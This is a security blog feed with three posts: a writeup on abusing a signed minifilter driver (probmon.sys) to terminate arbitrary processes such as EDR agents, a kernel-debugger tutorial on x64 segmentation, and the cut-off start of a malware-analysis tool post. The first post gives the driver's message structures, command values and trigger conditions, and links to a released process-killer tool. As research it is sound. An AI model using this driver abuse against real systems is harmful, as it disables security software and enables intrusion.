tag:blogger.com,1999:blog-13441525152207926772024-03-13T21:29:44.090-07:00Secure coding and moreAntonio "s4tan" Paratahttp://www.blogger.com/profile/10842926885739040651noreply@blogger.comBlogger24125tag:blogger.com,1999:blog-1344152515220792677.post-51163823613348423502024-02-06T03:20:00.000-08:002024-02-08T04:14:45.915-08:00Exploiting a vulnerable Minifilter Driver to create a process killer<script src="//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.15.10/highlight.min.js"></script>
<link href="//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.15.10/styles/a11y-dark.min.css" rel="stylesheet"></link>
<script src="//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.15.10/languages/x86asm.min.js"></script>
<script crossorigin="anonymous" src="//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.15.10/languages/powershell.min.js"></script>
<script>hljs.initHighlightingOnLoad();</script>
Bring Your Own Vulnerable Driver (BYOVD) is a technique that uses a vulnerable driver in order to achieve a specific goal. BYOVD is often used by malware to terminate processes associated with security solutions such as an EDR. There are many examples of open-source software that (ab)use a vulnerable driver for this purpose. One the most used driver is the Process Explorer driver. In this case we cannot talk about a vulnerability since it is a feature of the application to permit process termination from its UI.
<br /><br />
BYOVD is gaining more and more attention since attackers understood that it's a better strategy to terminate the EDR process instead than relying on obfuscation techniques in order to evade EDR detection.
<br /><br />
In this blog post I'll analyze a signed driver that can be used to create a program able to terminate a specific process from the kernel. The driver is quite old but neverthless usable. The driver hash is <b>023d722cbbdd04e3db77de7e6e3cfeabcef21ba5b2f04c3f3a33691801dd45eb</b> (<i>probmon.sys</i>).
<br /><br />
<h2>Exploiting a Minifilter Signed Driver</h2>
The mentioned driver is a signed minifilter driver part of a security solution. One of the imported function is <i>ZwTerminateProcess</i>, so my goal is to check if it is possible to call this function on an arbitrary process.
<br /><br />
The driver starts by calling the <i>FltRegisterFilter</i> function in order to register the filter. Next, a communication port is created by calling <i>FltCreateCommunicationPort</i>. The call specifies the parameter <i>MessageNotifyCallback</i>, implying that a user mode application can communicate with the minifilter by using the <i>FilterSendMessage</i> function. This callback does not expose the access to the <i>ZwTerminateProcess</i> function, but it is necessary in order to satisfy the needed preconditions.
<br /><br />
After the creation of the communication port, the driver sets a process creation notification function by calling the function <i>PsSetCreateProcessNotifyRoutine</i>. The specified callback checks that the third argument of the callback, named <i>Create</i>, is false, if not, the function returns immediatly. This implies that only process termination are monitored by the driver. Under specific conditions, the notification callback function will call the <i>ZwTerminateProcess</i> function.
<br /><br />
In order to terminate a process with the vulnerable driver, there are two preconditions that must be satisfied:
<ol>
<li>The handle of the process to terminate is read from a global variable. We have to set this variable, otherwise when the driver tries to terminate a process a <i>KeBugCheckEx</i> will be called generating a BSOD</li>
<li>The <i>ZwTerminateProcess</i> is called only if the value of the process ID calling into the minifilter is the same of the one associated with a global variable. </li>
</ol>
<h3>Set the target process handle</h3>
This requirement is satisfied by sending a message to the communication port by using the struct from Figure 1.
<br /><br />
<pre><code class="rust">#[repr(C)]
struct CommandSetPidToTerminate {
command_type: u32,
pid_to_kill: u32
}</code><center>Figure 1. Set Target Process Handle Message Structure</center></pre>
In this case the <i>command_type</i> parameter must assume value <i>3</i>. This will cause the <i>ZwOpenProcess</i> to be called by using the <i>pid_to_kill</i> parameter, and the result assigned to the above mentioned global variable (let's call it <i>process_handle_to_terminate</i>).
<br /><br />
<h3>Enable process termination</h3>
The second precondition involves a check on a global variable (let's call it <i>it_s_a_me</i>, you will understand why I choose this name in a moment). The value of this variable must be the same of the process ID that is exiting (remember that the callback is monitoring for process termination). This check is performed in the <i>PsSetCreateProcessNotifyRoutine</i> notification callback function. As before, this can be achieved by using the struct from Figure 2.
<br /><br />
<pre><code class="rust">#[repr(C)]
struct CommandEnableTermination {
command_type: u32,
data_count: u32,
my_pid: u32
}</code><center>Figure 2. Set Global Variable To Enable Process Termination</center></pre>
In this case the <i>command_type</i> parameter must assume value <i>1</i>. The <i>data_count</i> is used to copy the data that follow this parameter. In our case it is ok to set 1 as value (1 DWORD is copied) and set as value of the field <i>my_pid</i> our PID. In this way, our PID is written to the <i>it_s_a_me</i> global variable, satisfied our second precondition.
<br /><br />
<h3>Triggering process termination</h3>
At this point we have set the handle of the process to terminate (variable <i>process_handle_to_terminate</i>) and we can reach the <i>ZwTerminateProcess</i> function thanks to the variable <i>it_s_a_me</i>.
<br /><br />
When our process will exit, the <i>PsSetCreateProcessNotifyRoutine</i> notification callback will be called, the PID check will be satisfied by verifying that the variable <i>it_s_a_me</i> is equals to the process ID that is exiting, triggering the <i>ZwTerminateProcess</i> on the <i>process_handle_to_terminate</i> process. All this means that when our process killer program will exit, the target process will be killed :)
<br /><br />
<h2>Source Code</h2>
Considering the plethora of such programs available on Github, releasing one more shouldn't be a huge problem. You can find the source code using the analyzed driver in my Github account:
<br /><br />
<a href="https://github.com/enkomio/s4killer"><b>https://github.com/enkomio/s4killer</b></a>
<br /><br />
Be consciuos that the driver is registered by using the flag FLTFL_REGISTRATION_DO_NOT_SUPPORT_SERVICE_STOP implying that the minifilter is not unloaded in response to service stop requests. In addition, the code STATUS_FLT_DO_NOT_DETACH is returned when you try to unload the driver with <i>fltmc</i>. In order to unload the driver you have to reboot your machine.
<br /><br />
<h2>Conclusion</h2>
The goal of this blog post was to demonstrate how the malware use BYOVD technique in order to kill EDR processes. I analyzed a previously unknow vulnerable driver (to the best of my knowledge of course) demonstrating how a minifilter can also be abused for such purpose.
<br /><br />
<h2>Bonus</h2>
I'm currently focused on BYOVD technique used by malware to kill processes, so I haven't searched for more vulnerabilities in the driver. However, there is a nice buffer overflow in it but I'm unsure if it is exploitable or not :) Antonio "s4tan" Paratahttp://www.blogger.com/profile/10842926885739040651noreply@blogger.com0tag:blogger.com,1999:blog-1344152515220792677.post-66071850499438177582023-01-02T09:30:00.027-08:002023-01-03T01:41:50.619-08:00The Segmented Memory Model and How It Works in Windows x64<script src="//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.15.10/highlight.min.js"></script>
<link href="//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.15.10/styles/a11y-dark.min.css" rel="stylesheet"></link>
<script src="//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.15.10/languages/x86asm.min.js"></script>
<script crossorigin="anonymous" src="//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.15.10/languages/powershell.min.js"></script>
<script>hljs.initHighlightingOnLoad();</script>
I created this post as part of my jouring in getting more acquainted with the Intel architecture. Segmentation is a very important topic in the Intel architecture, so here is my contribution. For my experiment I'll use a x64 Windows 10 running in a VM attached to a kernel debugger.
<br /><br />
<h2>Mode of Operations</h2>
The first step is to identify the processor mode of operation. x64 supports various modes and memory models. Let's try to identify the current one. This information is stored in the 32-bit <b>CR0</b> control register ([1]), under the flag <b>PE</b> stored at position 0 (position 0 is the least significant bit (LSB), that is, the right-most bit). If this bit is set, we are running in <b>protected mode</b>, otherwise we are running in <b>real-address mode</b>. Let's use the kernel debugger to perform this check as shown in Figure 1.
<br /><br />
<pre><code class="x86asm">kd> .formats cr0
Evaluate expression:
Hex: 00000000`80050031
Decimal: 2147811377
Decimal (unsigned) : 2147811377
Octal: 0000000000020001200061
Binary: 00000000 00000000 00000000 00000000 10000000 00000101 00000000 00110001
Chars: .......1
Time: ***** Invalid
Float: low -4.59246e-040 high 0
Double: 1.06116e-314</code><center>Figure 1. Operation Mode Identification</center></pre>
The <b>CR0.PE</b> bit is set to 1, so we are running in <b>protected mode</b> using a segmented memory model (you might also notice that the <b>CR0.PG</b> bit, at position 31 is set, indicating that we are also using paging). We can also check the sub-mode operation by inspecting the <b>IA32_EFER</b> Machine Specific Register (MSR) (0xC0000080) ([2]), and checking the <b>LME</b> (bit position 8) and <b>LMA</b> (bit position 10) flags. You can see the result in Figure 2.
<br /><br />
<pre><code class="x86asm">kd> rdmsr 0xC0000080
msr[c0000080] = 00000000`00000d01
kd> .formats 00000000`00000d01
Evaluate expression:
Hex: 00000000`00000d01
Decimal: 3329
Decimal (unsigned) : 3329
Octal: 0000000000000000006401
Binary: 00000000 00000000 00000000 00000000 00000000 00000000 00001101 00000001
Chars: ........
Time: Thu Jan 1 01:55:29 1970
Float: low 4.66492e-042 high 0
Double: 1.64474e-320</code><center>Figure 2. Operation Sub-Mode Identification</center></pre>
The <b>IA32_EFER.LMA</b> and <b>IA32_EFER.LME</b> bits are set, so we are running in <b>IA-32e sub-mode</b> (64-bit). This information will be used later in the text.
<br /><br />
<h2>Segmented Memory Model</h2>
The Segmented Memory Model accesses the memory by using the segment concept. A segment provides information on how to translate a given address. According to the executed instruction, a different segment is involved (eg. for <b>call</b> instruction the code segment is used, instead, for the <b>push</b> and <b>pop</b> instructions the stack segment is used). The Intel architecture defines a total of six segment registers: <b>CS</b>, <b>DS</b>, <b>ES</b>, <b>SS</b>, <b>GS</b>, and <b>FS</b>. For example, the <b>CS</b> segment (code segment) is used when a <b>call</b> instruction is executed. Let's see how this works with a practical example, let's consider the instruction in Figure 3.
<br /><br />
<pre><code class="x86asm">00007FFD42C7D5C1 | E8 1A000000 | call kernelbase.7FFD42C7D5E0</code><center>Figure 3. How Segmentation Works</center></pre>
The <b>call</b> instruction uses the value <b>1A000000</b> to specify the address of the function to execute. Since we are in a x64 bit operation mode, the value is RIP-relative, this explains why the function address in the disassembly is 0x7FFD42C7D5E0 (0x7FFD42C7D5C1 (RIP) + 0x1a (offset) + 0x05 (instruction size)). In addition to the mentioned value, the value of the <b>CS</b> segment is also used. The combination of the <b>CS</b> with the function address is called the <b>logical address</b>. The segment value is then used to translate the <b>logical address</b> into what is known as the <b>virtual address</b> (this process is described in the next section). Since our system is using paging, and additional translation step is performed to translate the <b>virtual address</b> into the <b>physical address</b> (this topic is not covered in this post). All the translation steps are represented in Figure 4.
<div class="separator" style="clear: both;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhbunDGGhRyQZ27zQvTdFMFG_YUCSznqj-EfOfyBvIdzuIJWvri4ghOwtklC-fjJFNwX6R-WihRfEUKI0AE-PRTB6QR3CMo9ypRa_tjfVjTNp3NDCd4UCIs1KtqGxir_wzO58YhxCOnqgSCUSWSvCOP9w1x6DQeDzuPp7S6IGWwdoJIER2X6GkyAOyV-w/s591/post_1.png" style="display: block; padding: 1em 0; text-align: center; "><img alt="" border="0" width="320" data-original-height="483" data-original-width="591" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhbunDGGhRyQZ27zQvTdFMFG_YUCSznqj-EfOfyBvIdzuIJWvri4ghOwtklC-fjJFNwX6R-WihRfEUKI0AE-PRTB6QR3CMo9ypRa_tjfVjTNp3NDCd4UCIs1KtqGxir_wzO58YhxCOnqgSCUSWSvCOP9w1x6DQeDzuPp7S6IGWwdoJIER2X6GkyAOyV-w/s320/post_1.png"/></a><center>Figure 4. Logical to Physical Address Translation</center></div>
<br /><br />
<h2>How Segmentation Works</h2>
The segment registers are 16-bit registers whose structure is reported in Figure 5.
<div class="separator" style="clear: both;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSWydd6QZs6-rbS99WdYDdsRJH1fHI_WdRBbezGGeb5BSiXniAJ_mfHi2J2Ny97H1jM8RZ7xG3KUBiqYTVKRRrpfSwJ18pfQlX5Su33bvhK1IBiD_O9Hu5kC_0GfzQUhSm_NL2N3aB6imEn7QKDFvXJSDn3MdSH8v8LQFFfV5w5ugVFIJYXCM2_lLI1Q/s589/post_3.png" style="display: block; padding: 1em 0; text-align: center; "><img alt="" border="0" width="320" data-original-height="149" data-original-width="589" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSWydd6QZs6-rbS99WdYDdsRJH1fHI_WdRBbezGGeb5BSiXniAJ_mfHi2J2Ny97H1jM8RZ7xG3KUBiqYTVKRRrpfSwJ18pfQlX5Su33bvhK1IBiD_O9Hu5kC_0GfzQUhSm_NL2N3aB6imEn7QKDFvXJSDn3MdSH8v8LQFFfV5w5ugVFIJYXCM2_lLI1Q/s320/post_3.png"/></a><center>Figure 5. Segment Selector Format</center></div>
<br /><br />
The <b>Index</b> field is used as an index in a table that contains information on all the available segments. The <b>TI</b> flag indicates which table must be used, and the Request Privilege Level (RPL) field specifies the protection level of the code requesting access to a specific segment. The possible protection level values are: 0, 1, 2 and 3, and are often represented as protection rings, where ring 0 is the most privileged (where the kernel mode code is executed) and ring 3 is the least privileged (where user mode code is executed).
<br /><br />
The two tables that contain information on the segments are the <b>Global Descriptor Table (GDT)</b> and the <b>Local Descriptor Table (LDT)</b>. The registers <b>GDTR</b> and <b>LDTR</b> contain the base address of the respective table. In the latest Windows versions, the LDT is no more used, so the TI flag will always be 0. The GDT is an array of segment descriptors, where each segment descriptor is typically represented by the 64-bit structure reported in Figure 6.
<div class="separator" style="clear: both;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh56CQFTf2jw5dk-nS9gAcrcsIZ7SLngVYM26SR4HUrm-lHkXQYebENkMjvnjJS6sCPZOV92-9wHk5zvhLBI1DdJ-DZIM_hoI90ztfMocutqYDdW6MpoGZ4Z-dzQQJiqiFxBB-qEjfYOcPnRXuccWF8Vs3dP98oJVtQS84R4TS_JpMZO7TNgJj_jwlAmA/s588/post_4.png" style="display: block; padding: 1em 0; text-align: center; "><img alt="" border="0" width="320" data-original-height="340" data-original-width="588" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh56CQFTf2jw5dk-nS9gAcrcsIZ7SLngVYM26SR4HUrm-lHkXQYebENkMjvnjJS6sCPZOV92-9wHk5zvhLBI1DdJ-DZIM_hoI90ztfMocutqYDdW6MpoGZ4Z-dzQQJiqiFxBB-qEjfYOcPnRXuccWF8Vs3dP98oJVtQS84R4TS_JpMZO7TNgJj_jwlAmA/s320/post_4.png"/></a><center>Figure 6. Segment Descriptor Format</center></div>
<br /><br />
Given the segment descriptor definition, we can now explain how the <b>logical address</b> to <b>virtual address</b> translation is performed. The <b>Base</b> field is added to the <b>logical address</b> in order to obtain the <b>virtual address</b>. This process is described in Figure 7.
<div class="separator" style="clear: both;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRMMbZiFG6LoYCet7QdDH9wfhoC4MWBQDPFfVohM7Q_kBU8temSKE-ICBLxqlPRlahHf8GcyMTSU1Bb6sc1DM8FEjJHQFzm_sQh3ng98BZ5rH571DJ23Ks7Lm2CdwomVJm-ZN3hOJm7Axr3so-d81NW_gHuhkOP-nNx4kJJdxMx6VhYt__1oH66OidsA/s587/post_2.png" style="display: block; padding: 1em 0; text-align: center; "><img alt="" border="0" width="320" data-original-height="240" data-original-width="587" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRMMbZiFG6LoYCet7QdDH9wfhoC4MWBQDPFfVohM7Q_kBU8temSKE-ICBLxqlPRlahHf8GcyMTSU1Bb6sc1DM8FEjJHQFzm_sQh3ng98BZ5rH571DJ23Ks7Lm2CdwomVJm-ZN3hOJm7Axr3so-d81NW_gHuhkOP-nNx4kJJdxMx6VhYt__1oH66OidsA/s320/post_2.png"/></a><center>Figure 7. Segment Descriptor Usage in Address Translation</center></div>
<br /><br />
A very important field is <b>DPL</b>. It indicates the privilege level of the code running in that segment, for example, a <b>DPL</b> value of 0 can execute privileged instructions such as <b>CLI</b>. Another relevant field is <b>L</b>. This field indicates if the segment is running in <b>Long mode</b> (if it is set to 1) or in <b>compatibility mode</b> (if it is set to 0). Figure 8 shows how to inspect the <b>GDT</b> and all the defined segments.
<pre><code class="x86asm">kd> rgdtr
gdtr=fffff804382f3fb0
kd> db fffff804382f3fb0
fffff804`382f3fb0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fffff804`382f3fc0 00 00 00 00 00 9b 20 00-00 00 00 00 00 93 40 00 ...... .......@.
fffff804`382f3fd0 ff ff 00 00 00 fb cf 00-ff ff 00 00 00 f3 cf 00 ................
fffff804`382f3fe0 00 00 00 00 00 fb 20 00-00 00 00 00 00 00 00 00 ...... .........
fffff804`382f3ff0 67 00 00 20 2f 8b 00 38-04 f8 ff ff 00 00 00 00 g.. /..8........
fffff804`382f4000 00 3c 00 00 00 f3 40 00-00 00 00 00 00 00 00 00 .<....@.........
fffff804`382f4010 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fffff804`382f4020 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
kd> dg 10 50
P Si Gr Pr Lo
Sel Base Limit Type l ze an es ng Flags
---- ----------------- ----------------- ---------- - -- -- -- -- --------
0010 00000000`00000000 00000000`00000000 Code RE Ac 0 Nb By P Lo 0000029b
0018 00000000`00000000 00000000`00000000 Data RW Ac 0 Bg By P Nl 00000493
0020 00000000`00000000 00000000`ffffffff Code RE Ac 3 Bg Pg P Nl 00000cfb
0028 00000000`00000000 00000000`ffffffff Data RW Ac 3 Bg Pg P Nl 00000cf3
0030 00000000`00000000 00000000`00000000 Code RE Ac 3 Nb By P Lo 000002fb
0038 00000000`00000000 00000000`00000000 <Reserved> 0 Nb By Np Nl 00000000
0040 00000000`382f2000 00000000`00000067 TSS32 Busy 0 Nb By P Nl 0000008b
0048 00000000`0000ffff 00000000`0000f804 <Reserved> 0 Nb By Np Nl 00000000
0050 00000000`00000000 00000000`00003c00 Data RW Ac 3 Bg By P Nl 000004f3</code><center>Figure 8. Dumping All Segments</center></pre>
The first two commands obtain the address of the <b>GDT</b> register and dump the memory value. The first non null entry is at offset 0x10 from the <b>GDT</b> base address (the first entry in the <b>GDT</b> is always null). To have a more readable view, we can use the <b>dg</b> command; it dumps all the segments and shows relevant information. There are various Code and Data segments, having as privilege 0 (kernel mode) and 3 (user mode).
<br /><br />
In particular, there is a segment in user mode that is running in 32-bit compatibility mode (Long=0); its segment selector is <b>0x20</b>. Similarly, there is a segment running in user mode as long mode (Long=0); its segment selector is <b>0x30</b>.
<br /><br />
<h3>Windows and the Flat Memory Model</h3>
You might have heard that Windows uses a flat memory model, but, we stated above that we are running in a segment memory model. What does it mean? By now, you know how a segment descriptor is used to compute the <b>virtual address</b> and we have also dumped all the segment descriptors defined in the system. You might have noticed that all the Code and Data segments have the <b>Base address</b> field to 0. This implies that Windows is not taking advantage of the segment concept, since having as <b>Base</b> always 0 has as result that the <b>logical address</b> is equal to the <b>virtual address</b>. This means that we are using a segmented memory model without using the segment concept. This mode is known as <b>flat memory model</b>. This statement is also reported by the Intel official documentation:
<br /><br />
<i bgcolor="lightblue">In 64-bit mode, segmentation is generally (but not completely) disabled, creating a flat 64-bit linear-address
space. The processor treats the segment base of CS, DS, ES, SS as zero, creating a linear address that is equal to
the effective address. The FS and GS segments are exceptions. These segment registers (which hold the segment
base) can be used as additional base registers in linear address calculations. They facilitate addressing local data
and certain operating system data structures.
Note that the processor does not perform segment limit checks at runtime in 64-bit mode.</i>
<br /><br />
<h3>Decoding a Segment Register</h3>
Let's try decoding the value stored in a segment register. Let's consider the <b>CS</b> register, having value 0x33. This value in binary format is 00110011b. As described in Figure 5, bits 3-15 represent the index in the <b>GDT</b> table, which in this case have decimal value 6 (110b). To obtain the segment selector we have to multiply the index by the size of a segment descriptor, which is 8 bytes. Figure 9 shows this operation in the kernel debugger.
<br /><br />
<pre><code class="x86asm">kd> .formats 0x33
Evaluate expression:
Hex: 00000000`00000033
Decimal: 51
Decimal (unsigned) : 51
Octal: 0000000000000000000063
Binary: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00110011
Chars: .......3
Time: Thu Jan 1 01:00:51 1970
Float: low 7.14662e-044 high 0
Double: 2.51973e-322
kd> dq gdtr + (6 * 8) L1
fffff804`382f3fe0 0020fb00`00000000
</code><center>Figure 9. Obtain the Segment Selector</center></pre>
The segment descriptor value is 0020fb00`00000000. Now, let's use the <b>dg</b> and <b>dt</b> commands to display the segment descriptor associated with index 6, by using the operation 6 * 8 = 48 (0x30). The result is reported in Figure 10.
<br /><br />
<pre><code class="x86asm">kd> dg 30
P Si Gr Pr Lo
Sel Base Limit Type l ze an es ng Flags
---- ----------------- ----------------- ---------- - -- -- -- -- --------
0030 00000000`00000000 00000000`00000000 Code RE Ac 3 Nb By P Lo 000002fb
kd> dt nt!_KGDTENTRY64 fffff804`382f3fe0 -b
+0x000 LimitLow : 0
+0x002 BaseLow : 0
+0x004 Bytes : <anonymous-tag>
+0x000 BaseMiddle : 0 ''
+0x001 Flags1 : 0xfb ''
+0x002 Flags2 : 0x20 ' '
+0x003 BaseHigh : 0 ''
+0x004 Bits : <anonymous-tag>
+0x000 BaseMiddle : 0y00000000 (0)
+0x000 Type : 0y11011 (0x1b)
+0x000 Dpl : 0y11
+0x000 Present : 0y1
+0x000 LimitHigh : 0y0000
+0x000 System : 0y0
+0x000 LongMode : 0y1
+0x000 DefaultBig : 0y0
+0x000 Granularity : 0y0
+0x000 BaseHigh : 0y00000000 (0)
+0x008 BaseUpper : 0
+0x00c MustBeZero : 0
+0x000 DataLow : 0n9283176673312768
+0x008 DataHigh : 0n0</code><center>Figure 10. Dump of a Segment Descriptor</center></pre>
As you can see, the result is the same in both cases.
<br /><br />
<h2>Experimenting With Kernel Mode and User Mode Code</h2>
Let's use windbg to inspect the segments of a piece of code running in kernel mode (Figure 11).
<br /><br />
<pre><code class="x86asm">kd> r
rax=0000000000000003 rbx=fffff804382fde60 rcx=fffff804382fde60
rdx=fffff804382fde10 rsi=fffff80433b731a0 rdi=fffff80433b73190
rip=fffff80435414be5 rsp=fffff804382fdde8 rbp=0000000000000000
r8=0000000000000003 r9=fffff804382fddf8 r10=0000000000000000
r11=fffff804382fddd0 r12=fffff80433b73100 r13=0000000000000000
r14=0000000000000100 r15=00000000ffffffff
iopl=0 nv up di ng nz na po nc
cs=0010 ss=0000 ds=002b es=002b fs=0053 gs=002b efl=00040086
nt!DebugService2+0x5:
fffff804`35414be5 cc int 3</code><center>Figure 11. 64-bit Kernel Mode Process Registers</center></pre>
As you can see, <b>RIP</b> points to kernel address, and the <b>CS</b> segment value is 0x10 that, according to the result from Figure 8, corresponds to a segment of type Code, with privilege 0 (the most privileged) and Long mode enabled. Now let's try the same experiment by analyzing a 64-bit user-mode process (Figure 12).
<div class="separator" style="clear: both;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFJlZTAs867TbrqHi-TbPwVA4dnMPQ8NVcCRTSb-KkJ8NkN2ewBL721nZobjnaw5IDWD6AbxF8QNKKVcX2W9xCUSd3DEmPGjXweXfCuVTXvhevrF_FFWCzJgl7dPR0gLatDoJJXDZFXnbTwH71BWI0f-TlmzGAwiwX2_7ms1_rwoziUmHl2ykXCaO8eg/s409/post_6.png" style="display: block; padding: 1em 0; text-align: center; "><img alt="" border="0" width="320" data-original-height="382" data-original-width="409" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFJlZTAs867TbrqHi-TbPwVA4dnMPQ8NVcCRTSb-KkJ8NkN2ewBL721nZobjnaw5IDWD6AbxF8QNKKVcX2W9xCUSd3DEmPGjXweXfCuVTXvhevrF_FFWCzJgl7dPR0gLatDoJJXDZFXnbTwH71BWI0f-TlmzGAwiwX2_7ms1_rwoziUmHl2ykXCaO8eg/s320/post_6.png"/></a><center>Figure 12. 64-bit User Mode Process Registers</center></div>
<br /><br />
The image shows a <b>CS</b> segment value of 0x33, that corresponds to a segment of type Code, with privilege 3 (the lowest privilege) and Long mode enabled. Finally, let's see an example of a 32-bit user-mode process running on a 64-bit OS (Figure 13).
<div class="separator" style="clear: both;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjzPf9iHw5KmsmXBnh0ZpIMOf7YYaM2kowm8w15leNlKx-f1pA5HRWI9y5dI-lwW40gzWhw4K704MalrjNzRp2uhWDo7w-eFqDFwPHhcfgVlR5YRkksXjk9LylWm3DjmrgndLtXBQi6rQNeFrwj_ggvgWdSQ2nvdbdwrddZshAHWOitmJKsPTdNH09usg/s371/post_5.png" style="display: block; padding: 1em 0; text-align: center; "><img alt="" border="0" width="320" data-original-height="273" data-original-width="371" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjzPf9iHw5KmsmXBnh0ZpIMOf7YYaM2kowm8w15leNlKx-f1pA5HRWI9y5dI-lwW40gzWhw4K704MalrjNzRp2uhWDo7w-eFqDFwPHhcfgVlR5YRkksXjk9LylWm3DjmrgndLtXBQi6rQNeFrwj_ggvgWdSQ2nvdbdwrddZshAHWOitmJKsPTdNH09usg/s320/post_5.png"/></a><center>Figure 13. 32-bit User Mode Process Registers</center></div>
<br /><br />
The image shows a <b>CS</b> with value 0x23, that corresponds to a segment of type Code, with privilege 3 and Long mode disabled. Since Long mode is disabled, this implies that the process is running in compatibility-mode (32-bit).
<br /><br />
<h3>Segment Transition and Syscall</h3>
We mentioned that code running in kernel mode has a different <b>CS</b> value with <b>DPL</b> value 0. How is the segment transition performed? There are various ways to change the segment descriptor. One way is by using specific instructions that change the <b>CS</b> register, such as <b>retf</b>, which reads the new <b>CS</b> value from the stack. However, due to a lower <b>DPL</b> we can not use such a mechanism.
<br /><br />
An alternative method is to use a <b>call gate segment descriptor</b> ([3]). However, this mechanism is not used in modern Windows OS, which prefers to use the <b>syscall</b> instruction. Among the various actions performed by this instruction, there is the change of the segment selector. But, how is the correct segment chosen? This information is obtained from the <b>IA32_STAR</b> (0xC0000081) MSR. Bit 32-47 are extracted and used as value for the new segment selector (which is 0x10 in case of transition to kernel mode). Let's use windbg to verify this aspect (Figure 14).
<br /><br />
<pre><code class="x86asm">kd> rdmsr 0xC0000081
msr[c0000081] = 00230010`00000000
kd> .formats 00230010`00000000
Evaluate expression:
Hex: 00230010`00000000
Decimal: 9851692904349696
Decimal (unsigned) : 9851692904349696
Octal: 0000430001000000000000
Binary: 00000000 00100011 00000000 00010000 00000000 00000000 00000000 00000000
Chars: .#......
Time: Sun Mar 21 11:08:10.434 1632 (UTC + 1:00)
Float: low 0 high 3.21426e-039
Double: 5.28462e-308
kd> .formats 0y0000000000010000
Evaluate expression:
Hex: 00000000`00000010
Decimal: 16
Decimal (unsigned) : 16
Octal: 0000000000000000000020
Binary: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00010000
Chars: ........
Time: Thu Jan 1 01:00:16 1970
Float: low 2.24208e-044 high 0
Double: 7.90505e-323
kd> dg 10
P Si Gr Pr Lo
Sel Base Limit Type l ze an es ng Flags
---- ----------------- ----------------- ---------- - -- -- -- -- --------
0010 00000000`00000000 00000000`00000000 Code RE Ac 0 Nb By P Lo 0000029b</code><center>Figure 14. Transition to DPL 0 Via Syscall Instruction</center></pre>
We first read the <b>IA32_STAR</b> MSR and extract the bits related to the new <b>CS</b>, whose value is <b>00000000 00010000</b>. Converting this value to hex results in 0x10, which is exactly the same value that we obtained when we inspected the <b>CS</b> register in kernel mode in the previous section.
<br /><br />
<h2>Heaven's Gates Consideration</h2>
If you reached this point, you now have all the information to understand the concept behind the Heaven's Gate mechanism, which is used to transition from x64 to x86 code in order to run 32-bit binaries. Microsoft created a specific segment descriptor for this purpose, assigning to it the value 0x20. The privileges between the two segment descriptors are the same, and it is possible to perform the transition by using one of the many instructions that take into consideration the <b>CS</b> register, such as <b>retf</b> or a far call. A lot of documentation is written on this aspect, and Microsoft refers to this with the name Windows-on-Windows (WoW64).
<br /><br />
<h2>Conclusion</h2>
Modern OS are executed in protected mode under a flat segmented memory model. In this post we analyzed how this model works and how it can be used to change privilege levels. If you want to know more, I invite you to read the references.
<br /><br />
<h2>References</h2>
[1] - Intel® 64 and IA-32 Architectures Software Developer’s Manual Volume 3 (3A): System Programming Guide - Chapter 2.5 CONTROL REGISTERS<br />
[2] - Intel® 64 and IA-32 Architectures Software Developer’s Manual Volume 4: Model-Specific Registers - IA32_EFER<br />
[3] - Intel® 64 and IA-32 Architectures Software Developer’s Manual Volume 3 (3A): System Programming Guide - Chapter 5.8.3 Call Gates<br />
[4] - <a href="https://rayanfam.com/topics/call-gates-ring-transitioning-in-ia-32-mode/">Call Gates' Ring Transitioning in IA-32 Mode</a><br />
[5] - <a href="http://www.alex-ionescu.com/?p=340">Bringing Call Gates Back</a><br />
[6] - Windows Internals, Part 2, 7th Edition<br />
[7] - Intel® 64 and IA-32 Architectures Software Developer’s Manual Volume 3A: System Programming Guide, Part 1<br />
[8] - Intel® 64 and IA-32 Architectures Software Developer’s Manual Volume 1: Basic Architecture<br />Antonio "s4tan" Paratahttp://www.blogger.com/profile/10842926885739040651noreply@blogger.com0tag:blogger.com,1999:blog-1344152515220792677.post-481304612471680522022-06-26T13:16:00.018-07:002022-06-26T15:03:30.465-07:00TheMatrix - A process inspection tool aimed at easier the malware analysis task<script src="//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.15.10/highlight.min.js"></script>
<link href="//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.15.10/styles/a11y-dark.min.css" rel="stylesheet"></link>
<script src="//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.15.10/languages/x86asm.min.js"></script>
<script crossorigin="anonymous" src="//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.15.10/languages/powershell.min.js"></script>
<script>hljs.initHighlightingOnLoad();</script>
Twitter: <a href="https://twitter.com/s4tan">@s4tan</a><br />
Download: <a href="https://github.com/enkomio/thematrix">https://github.com/enkomio/thematrix</a>
<br /><br />
In this post I'll describe a project that I created to easier the malware analysis process. The goal of the project is to run a target binary in a controlled environment and logging the Win32 function calls. I wanted to create something that is easy to extend and robust. I'm aware that other similar tools exists, but my intent was to have fun in doing Assembly programming and learning stuff that I only reversed but never implemented :)
<br /><br />
<h3>How it works</h3>
TheMatrix is a program mostly written in assembly (x86/x64) that implements the following features:
<ul>
